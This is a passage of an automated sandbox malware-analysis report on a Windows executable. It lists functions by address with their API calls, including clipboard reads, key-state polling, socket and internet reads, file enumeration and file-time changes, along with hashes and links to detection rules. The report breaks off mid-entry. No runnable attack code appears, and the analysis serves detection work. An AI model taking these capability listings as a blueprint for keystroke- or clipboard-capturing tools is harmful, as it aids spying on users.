                                                                                                                                                  • Opcode ID: 17936c38af85c1dbfc3d1ebbd0b26446ca2a596e07a4ad84d79ac0689e190811
                                                                                                                                                  • Instruction ID: e6452ff64139cddd5fd774ab19bf2199aa97b2a19dc0f7115334900b47d689b2
                                                                                                                                                  • Opcode Fuzzy Hash: 17936c38af85c1dbfc3d1ebbd0b26446ca2a596e07a4ad84d79ac0689e190811
                                                                                                                                                  • Instruction Fuzzy Hash: BD419D756083409FC314DF25C984A9FB7E4BF86305F04491FF98993291DBB8E949CB5A
                                                                                                                                                  Function 0046C5D0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69clipboardCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • OpenClipboard.USER32(?), ref: 0046C635
                                                                                                                                                  • IsClipboardFormatAvailable.USER32(0000000D), ref: 0046C643
                                                                                                                                                  • GetClipboardData.USER32(0000000D), ref: 0046C64F
                                                                                                                                                  • CloseClipboard.USER32 ref: 0046C65D
                                                                                                                                                  • GlobalLock.KERNEL32(00000000), ref: 0046C688
                                                                                                                                                  • CloseClipboard.USER32 ref: 0046C692
                                                                                                                                                  • IsClipboardFormatAvailable.USER32(00000001), ref: 0046C6D5
                                                                                                                                                  • GetClipboardData.USER32(00000001), ref: 0046C6DD
                                                                                                                                                  • GlobalLock.KERNEL32(00000000), ref: 0046C6EE
                                                                                                                                                  • GlobalUnlock.KERNEL32(00000000), ref: 0046C726
                                                                                                                                                  • CloseClipboard.USER32 ref: 0046C866
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Clipboard$CloseGlobal$AvailableDataFormatLock$OpenUnlock
                                                                                                                                                  • String ID: HH
                                                                                                                                                  • API String ID: 589737431-2761332787
                                                                                                                                                  • Opcode ID: 76419e0badb028214ed7bad9e924c36871e80023f9f647d131bfc03e45e064d3
                                                                                                                                                  • Instruction ID: 5556deb4c8197336e1b92b5e2a85e957832ef7964462d916cb468ff193882e13
                                                                                                                                                  • Opcode Fuzzy Hash: 76419e0badb028214ed7bad9e924c36871e80023f9f647d131bfc03e45e064d3
                                                                                                                                                  • Instruction Fuzzy Hash: 7301F5762042005FC300AFB9ED45B6A7BA4EF59704F04097FF980A72C1EBB1E915C7AA
                                                                                                                                                  Function 00436431 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • __wcsicoll.LIBCMT ref: 0043643C
                                                                                                                                                  • mouse_event.USER32(00000800,00000000,00000000,00000078,00000000), ref: 00436452
                                                                                                                                                  • __wcsicoll.LIBCMT ref: 00436466
                                                                                                                                                  • mouse_event.USER32(00000800,00000000,00000000,00000088,00000000), ref: 0043647C
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: __wcsicollmouse_event
                                                                                                                                                  • String ID: DOWN
                                                                                                                                                  • API String ID: 1033544147-711622031
                                                                                                                                                  • Opcode ID: 8e71a22f1bb6dc727f393f419cee3c46fab46d9365d91d475c80ba63e0095046
                                                                                                                                                  • Instruction ID: 8a73d33e481528181e274ae5662561dddcd8f7088196b39fde8242b6fe69d79f
                                                                                                                                                  • Opcode Fuzzy Hash: 8e71a22f1bb6dc727f393f419cee3c46fab46d9365d91d475c80ba63e0095046
                                                                                                                                                  • Instruction Fuzzy Hash: 75E0927558872039FC4036253C02FFB174CAB66796F018116FE00D1291EA586D865BBD
                                                                                                                                                  Function 004741BB Relevance: 7.6, APIs: 5, Instructions: 137networkCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 004647A2: inet_addr.WSOCK32(?), ref: 004647C7
                                                                                                                                                  • socket.WSOCK32(00000002,00000002,00000011,?,00000000), ref: 00474213
                                                                                                                                                  • WSAGetLastError.WSOCK32(00000000), ref: 00474233
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ErrorLastinet_addrsocket
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 4170576061-0
                                                                                                                                                  • Opcode ID: c11ce247c64ee683b380b6a697379cd3ea863651eb179087c325b129d43524e0
                                                                                                                                                  • Instruction ID: 44a7e99483396e6262e636993c5e510db402c36a24f0b6146f21617b09e75fab
                                                                                                                                                  • Opcode Fuzzy Hash: c11ce247c64ee683b380b6a697379cd3ea863651eb179087c325b129d43524e0
                                                                                                                                                  • Instruction Fuzzy Hash: B6412C7164030067E720BB3A8C83F5A72D89F40728F144D5EF954BB2C3D6BAAD45475D
                                                                                                                                                  Function 00456354 Relevance: 7.6, APIs: 5, Instructions: 127keyboardCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetCursorPos.USER32(004A83D8), ref: 0045636A
                                                                                                                                                  • ScreenToClient.USER32(004A83D8,?), ref: 0045638A
                                                                                                                                                  • GetAsyncKeyState.USER32(?), ref: 004563D0
                                                                                                                                                  • GetAsyncKeyState.USER32(?), ref: 004563DC
                                                                                                                                                  • GetWindowLongW.USER32(?,000000F0), ref: 00456430
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: AsyncState$ClientCursorLongScreenWindow
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3539004672-0
                                                                                                                                                  • Opcode ID: 8b6f1a7d11e91e3692d621cb91ecba55955a7a9a0de246f0cd2a62484a80ce0b
                                                                                                                                                  • Instruction ID: 0eacbf52c9ff4b21db6d2500407d28a57be55752a0539e191fb639d8ee6a043b
                                                                                                                                                  • Opcode Fuzzy Hash: 8b6f1a7d11e91e3692d621cb91ecba55955a7a9a0de246f0cd2a62484a80ce0b
                                                                                                                                                  • Instruction Fuzzy Hash: 8E416071108341ABD724DF55CD84EBBB7E9EF86725F540B0EB8A543281C734A848CB6A
                                                                                                                                                  Function 004772DE Relevance: 7.6, APIs: 5, Instructions: 67windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51
                                                                                                                                                  • IsWindowVisible.USER32 ref: 00477314
                                                                                                                                                  • IsWindowEnabled.USER32 ref: 00477324
                                                                                                                                                  • GetForegroundWindow.USER32(?,?,?,00000001,?,?), ref: 00477331
                                                                                                                                                  • IsIconic.USER32 ref: 0047733F
                                                                                                                                                  • IsZoomed.USER32 ref: 0047734D
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 292994002-0
                                                                                                                                                  • Opcode ID: 1c24098bd8cb9da3f496229370c910df04dc27541171caa4f2956f9c30b83eee
                                                                                                                                                  • Instruction ID: c753cb395bd8887e5e04db90522a3107d7308fd2cfa588f53a4db7a4177bc043
                                                                                                                                                  • Opcode Fuzzy Hash: 1c24098bd8cb9da3f496229370c910df04dc27541171caa4f2956f9c30b83eee
                                                                                                                                                  • Instruction Fuzzy Hash: 351172327041119BE3209B26DD05B9FB7A8AF91310F05882EFC49E7250D7B8EC42D7A9
                                                                                                                                                  Function 00436D2D Relevance: 7.6, APIs: 5, Instructions: 52filetimeCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000,76F93220,00000000,00000000,00442E95,?,?,?), ref: 00436D4F
                                                                                                                                                  • SetFileTime.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000), ref: 00436D8C
                                                                                                                                                  • CloseHandle.KERNEL32(00000000,?,?,?,00000000), ref: 00436D93
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: File$CloseCreateHandleTime
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3397143404-0
                                                                                                                                                  • Opcode ID: 17e11168520f802dddbe8c477e19047108492bf153e6cd976562f268bfda3e60
                                                                                                                                                  • Instruction ID: bce1a9391340f9688fe0750810cd2cb1b104417d8b3c1e96578cdf6de8724fbd
                                                                                                                                                  • Opcode Fuzzy Hash: 17e11168520f802dddbe8c477e19047108492bf153e6cd976562f268bfda3e60
                                                                                                                                                  • Instruction Fuzzy Hash: A4F0C83634132077E5301A69AC8DFCF276CABDAB32F20452EF741A61C083D51445977D
                                                                                                                                                  Function 0044EBBC Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 551COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: _strncmp
                                                                                                                                                  • String ID: ACCEPT$^$h
                                                                                                                                                  • API String ID: 909875538-4263704089
                                                                                                                                                  • Opcode ID: adbbb77bd847cefbadd23aa8e42bde8f813033e7c46a43322acc698efb747d92
                                                                                                                                                  • Instruction ID: 72a2cba82410d8b1d90f72ff5cad5771b474d57714a55a9933f2c727144888ce
                                                                                                                                                  • Opcode Fuzzy Hash: adbbb77bd847cefbadd23aa8e42bde8f813033e7c46a43322acc698efb747d92
                                                                                                                                                  • Instruction Fuzzy Hash: AE22A0746083818FE725CF29C48076BBBE2BFC9304F24896EE8D587351D779984ACB56
                                                                                                                                                  Function 00446566 Relevance: 5.9, Strings: 4, Instructions: 868COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID: ERCP$VUUU$VUUU$VUUU
                                                                                                                                                  • API String ID: 0-2165971703
                                                                                                                                                  • Opcode ID: fe5f619ecbbb89e409f3ebcf557090f4afc22d0cdf4dbad8df8e547bb5c0b5b7
                                                                                                                                                  • Instruction ID: 514654dd073cfe12bfc68f6c44a091d7a3824994b709b832431b3f3de6bbd106
                                                                                                                                                  • Opcode Fuzzy Hash: fe5f619ecbbb89e409f3ebcf557090f4afc22d0cdf4dbad8df8e547bb5c0b5b7
                                                                                                                                                  • Instruction Fuzzy Hash: 5562D3716087818BE734CF18C8807ABB7E1EBC6314F154A2FE49986390E779D949CB5B
                                                                                                                                                  Function 0045C999 Relevance: 4.6, APIs: 3, Instructions: 130fileCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • FindFirstFileW.KERNEL32(00000000,?,?), ref: 0045C9BE
                                                                                                                                                  • FindNextFileW.KERNEL32(00000000,?), ref: 0045CA1B
                                                                                                                                                  • FindClose.KERNEL32(00000000,00000001,00000000), ref: 0045CA4A
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Find$File$CloseFirstNext
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3541575487-0
                                                                                                                                                  • Opcode ID: cd42767256c3935660832567e39f7af9e021373ba4cf75ddba00705dd7020de4
                                                                                                                                                  • Instruction ID: 18858b47483a38653cd59612877c1399ad483e9f26b014a4aa46912757e3bc7b
                                                                                                                                                  • Opcode Fuzzy Hash: cd42767256c3935660832567e39f7af9e021373ba4cf75ddba00705dd7020de4
                                                                                                                                                  • Instruction Fuzzy Hash: EC41CE756003009FC720EF79D880A9BB3E4FF89315F208A6EED698B391D775A844CB95
                                                                                                                                                  Function 00436ADE Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetFileAttributesW.KERNEL32(00000001,00000000), ref: 00436AEF
                                                                                                                                                  • FindFirstFileW.KERNEL32(00000001,?), ref: 00436B00
                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 00436B13
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: FileFind$AttributesCloseFirst
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 48322524-0
                                                                                                                                                  • Opcode ID: 9dc85b775151a348b3ed896f2b5842869c214baa03f23a1e311506cc1954de59
                                                                                                                                                  • Instruction ID: 417b6d6de692ea6945bae3bf725251b28653fd5bce93257cef0f58e2a105c1b1
                                                                                                                                                  • Opcode Fuzzy Hash: 9dc85b775151a348b3ed896f2b5842869c214baa03f23a1e311506cc1954de59
                                                                                                                                                  • Instruction Fuzzy Hash: 23E02236804418678600AB7CAC0C4EE779CDB0A335F100B96FE38C21D0D775A9408FEA
                                                                                                                                                  Function 00443390 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 69COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • __time64.LIBCMT ref: 004433A2
                                                                                                                                                    • Part of subcall function 00414CEF: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,004341DB,00000000,?,0044248A,?,?,?,0048B850), ref: 00414CFA
                                                                                                                                                    • Part of subcall function 00414CEF: __aulldiv.LIBCMT ref: 00414D1A
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Time$FileSystem__aulldiv__time64
                                                                                                                                                  • String ID: rJ
                                                                                                                                                  • API String ID: 2893107130-1865492326
                                                                                                                                                  • Opcode ID: e603e75d0767fd135478995c8e8d26e9f594f0c4df67822259ddb38eb763753e
                                                                                                                                                  • Instruction ID: ebc1a5536eae3429eadb0b33e849de59894c076497330b79c1ff8485d89898ec
                                                                                                                                                  • Opcode Fuzzy Hash: e603e75d0767fd135478995c8e8d26e9f594f0c4df67822259ddb38eb763753e
                                                                                                                                                  • Instruction Fuzzy Hash: B721A2336205108BF321CF36CC41652B7E7EBE0314F268A6AE4A5973C5CA797906CB98
                                                                                                                                                  Function 00443391 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • __time64.LIBCMT ref: 004433A2
                                                                                                                                                    • Part of subcall function 00414CEF: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,004341DB,00000000,?,0044248A,?,?,?,0048B850), ref: 00414CFA
                                                                                                                                                    • Part of subcall function 00414CEF: __aulldiv.LIBCMT ref: 00414D1A
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Time$FileSystem__aulldiv__time64
                                                                                                                                                  • String ID: rJ
                                                                                                                                                  • API String ID: 2893107130-1865492326
                                                                                                                                                  • Opcode ID: e8e365b2ab883cc854990c78a2143569adcb81f7322f31e235de15ec19987b7e
                                                                                                                                                  • Instruction ID: 4b4e0c3debee0a45c2bc781276f994e79ac96c452fb6cf924f1e6ade5adf298d
                                                                                                                                                  • Opcode Fuzzy Hash: e8e365b2ab883cc854990c78a2143569adcb81f7322f31e235de15ec19987b7e
                                                                                                                                                  • Instruction Fuzzy Hash: E82187336345108BF321CF36CC4165277E3EBE0314B258B6AD4A5973C5CA797906CB88
                                                                                                                                                  Function 0044289D Relevance: 3.1, APIs: 2, Instructions: 82networkfileCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • InternetQueryDataAvailable.WININET(?,?,?,?,00000000,00000000), ref: 004428C2
                                                                                                                                                  • InternetReadFile.WININET(?,00000000,?,?), ref: 004428F9
                                                                                                                                                    • Part of subcall function 0044286A: GetLastError.KERNEL32(00000000,0044AA07,?,00000000,00000000,00000001,?,?), ref: 00442880
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Internet$AvailableDataErrorFileLastQueryRead
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 901099227-0
                                                                                                                                                  • Opcode ID: 0771251b70b9bd68c35fac6f7da5b5f16004994504cb59d35d549d3fc14a9ba4
                                                                                                                                                  • Instruction ID: 2c15810e60b1cb59304632cc8162977c32d0240baa2dcf3c2cd6ef22f942a6bb
                                                                                                                                                  • Opcode Fuzzy Hash: 0771251b70b9bd68c35fac6f7da5b5f16004994504cb59d35d549d3fc14a9ba4
                                                                                                                                                  • Instruction Fuzzy Hash: 452174B12043016BF220EF56DD45FAFB3E8ABD4715F40492EF285A6180D7B8E949C76A
                                                                                                                                                  Function 0045DD7C Relevance: 3.1, APIs: 2, Instructions: 56fileCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • FindFirstFileW.KERNEL32(00000000,?,?), ref: 0045DDA1
                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 0045DDDD
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Find$CloseFileFirst
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2295610775-0
                                                                                                                                                  • Opcode ID: eac1d012b3ae473636f11b903683455954ec17c127a785734040b224e9a5f79e
